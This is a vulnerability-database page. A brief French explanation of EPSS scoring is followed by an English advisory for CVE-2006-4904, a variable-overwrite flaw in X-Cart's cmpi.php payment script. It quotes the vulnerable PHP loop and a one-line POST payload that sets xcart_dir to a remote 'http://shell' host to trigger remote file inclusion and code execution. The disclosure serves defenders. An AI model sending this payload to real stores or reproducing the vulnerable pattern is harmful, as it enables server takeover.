EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

X-Cart Arbitrary Variable Overwrite
Vendor: Qualiteam
Product: X-Cart
Version: <= 4.1.3
Website: http://www.x-cart.com/
BID: 20108
CVE: CVE-2006-4904
OSVDB: 28957
SECUNIA: 22005
Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory.
Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question.
if ($HTTP_POST_VARS) {
foreach ($HTTP_POST_VARS as $var => $value) {
$$var = $value;
}
}
As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables.
stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell
By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases.
Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.
